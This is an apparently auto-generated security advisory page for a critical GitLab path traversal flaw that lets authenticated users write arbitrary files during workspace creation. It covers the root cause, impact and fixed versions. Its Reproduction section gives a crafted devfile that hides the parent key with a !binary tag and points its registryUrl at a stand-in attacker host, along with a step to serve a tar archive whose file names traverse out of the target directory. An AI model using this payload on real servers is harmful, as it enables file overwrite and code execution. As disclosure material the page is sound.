Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in GitLab
Description
An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 which allows an authenticated user to write files to arbitrary locations on the GitLab server while creating a workspace.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Authenticated GitLab users can write files to arbitrary server paths by crafting a YAML devfile with a parent key that bypasses Ruby validation but is parsed by Go.
Vulnerability
An issue has been discovered in GitLab CE/EE affecting all versions from 16.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 (also fixed in 16.5.8). The vulnerability resides in the workspace creation feature, which uses a custom Ruby Gem to parse devfiles. When creating a workspace, a validated devfile YAML is passed to a Go binary for further processing. The Ruby parser (YAML.safe_load) differs from the Go YAML parser (gopkg.in/yaml.v3), allowing an attacker to craft a devfile that does not appear to have a parent key in Ruby but is interpreted as having one in Go. This causes the Go parser to recursively resolve the parent devfile, leading to an arbitrary file write on the server [1].
Exploitation
An authenticated user must create a workspace with a specially crafted devfile. The attacker needs no special privileges beyond being able to create workspaces in the GitLab instance. The attacker constructs a YAML devfile that exploits the parsing discrepancy between Ruby and Go: the Ruby validation sees no parent key (due to YAML duplicate keys, aliases, or other formatting tricks), while the Go parser does. The attacker can then reference a file path as the parent, causing the Go binary to write output locally to a location of the attacker's choosing during the workspace creation process [1].
Impact
Successful exploitation allows an authenticated attacker to write arbitrary files to any location on the GitLab server filesystem where the GitLab user has write permissions. This can lead to privilege escalation, data corruption, or remote code execution (e.g., by overwriting configuration files or SSH keys). The vulnerability is rated critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) [2].
Mitigation
GitLab released fixed versions 16.8.1, 16.7.4, 16.6.6, and 16.5.8 on January 25, 2024. All users running affected versions must upgrade immediately to one of these releases. GitLab.com and GitLab Dedicated instances have already been patched. No workarounds are available; upgrading is the sole mitigation [2].
AI Insight generated on May 24, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
3- Range: >=16.0, <16.6.6, >=16.7, <16.7.4, >=16.8, <16.8.1
Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"YAML parser differential between Ruby's YAML.safe_load and Go's yaml.v3 library allows a crafted devfile to bypass the parent-key validation, combined with a path traversal in the Go devfile registry library's tar extraction."
Attack vector
An authenticated attacker creates a project with a crafted `.devfile.yaml` that uses the `!binary` YAML tag to hide the `parent` key from Ruby's parser while the Go parser sees it as a valid `parent` key [ref_id=1]. The attacker also sets up a fake devfile registry server that serves a malicious tar archive containing path-traversed filenames (e.g., `../../../tmp/joernwashere`). When the victim creates a workspace from this project, GitLab's Go-based devfile parser downloads and extracts the tar archive, writing files to arbitrary locations on the GitLab server [ref_id=1]. On omnibus/docker installations where repositories share the same host, this can lead to code execution by writing Git hooks into a repository [ref_id=1].
Affected code
The Ruby-side validation occurs in `ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb` (lines 50-56), which checks for the `parent` key using `YAML.safe_load` [ref_id=1]. The downstream Go binary in the `devfile-gem` (ext/main.go) parses the same YAML with `gopkg.in/yaml.v3`, producing different results [ref_id=1]. The path traversal exists in the Go registry library at `registry-library/library/util.go` line 115, where `filepath.Clean(header.Name)` does not strip `../` sequences [ref_id=1].
What the fix does
The advisory does not include a published patch diff, but the issue was addressed in GitLab versions 16.6.6, 16.7.4, and 16.8.1 [ref_id=1]. The root cause involves two defects: (1) the YAML parser differential between Ruby and Go that allows bypassing the `parent` key validation, and (2) the path traversal vulnerability in the Go devfile registry library's tar extraction at `target := path.Join(targetDir, filepath.Clean(header.Name))`, where `filepath.Clean` does not remove `../` sequences [ref_id=1]. The fix likely involves aligning the YAML validation to use the same parser as the downstream Go binary, and sanitizing tar header paths to prevent directory traversal.
Preconditions
- authAttacker must be an authenticated GitLab user
- configAttacker must have a project in a premium namespace with a cluster agent configured for remote_development workspaces
- networkAttacker must host a fake devfile registry server serving a malicious tar archive
- inputAttacker must craft a .devfile.yaml using the !binary YAML tag to hide the parent key from Ruby's parser
Reproduction
1. Set up a cluster agent with `remote_development: enabled: true` and configure it with a premium group and project. 2. In the project repository, create a `.devfile.yaml` containing: `schemaVersion: 2.2.0\n!binary parent:\n id: nodejs\n registryUrl: http://ATTACKERHOST\ncomponents:\n - name: 'test'\n attributes:\n gl/inject-editor: true\n container:\n image: registry.gitlab.com/gitlab-org/remote-development/gitlab-remote-development-docs/debian-bullseye-ruby-3.2-node-18.12:rubygems-3.4-git-2.33-lfs-2.9-yarn-1.22-graphicsmagick-1.3.36-gitlab-workspaces`. 3. Host a fake registry server at ATTACKERHOST that serves an `archive.tar` containing files with path-traversed names (e.g., `../../../tmp/joernwashere`). 4. Create a workspace for the project; the server-side Go parser will extract the tar, writing files to the traversed path [ref_id=1].
Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2- gitlab.com/gitlab-org/gitlab/-/issues/437819mitreissue-trackingpermissions-required
- about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/mitre
News mentions
1- GitLab Critical Security Release: 16.8.1, 16.7.4, 16.6.6, 16.5.8GitLab Security Releases · Jan 25, 2024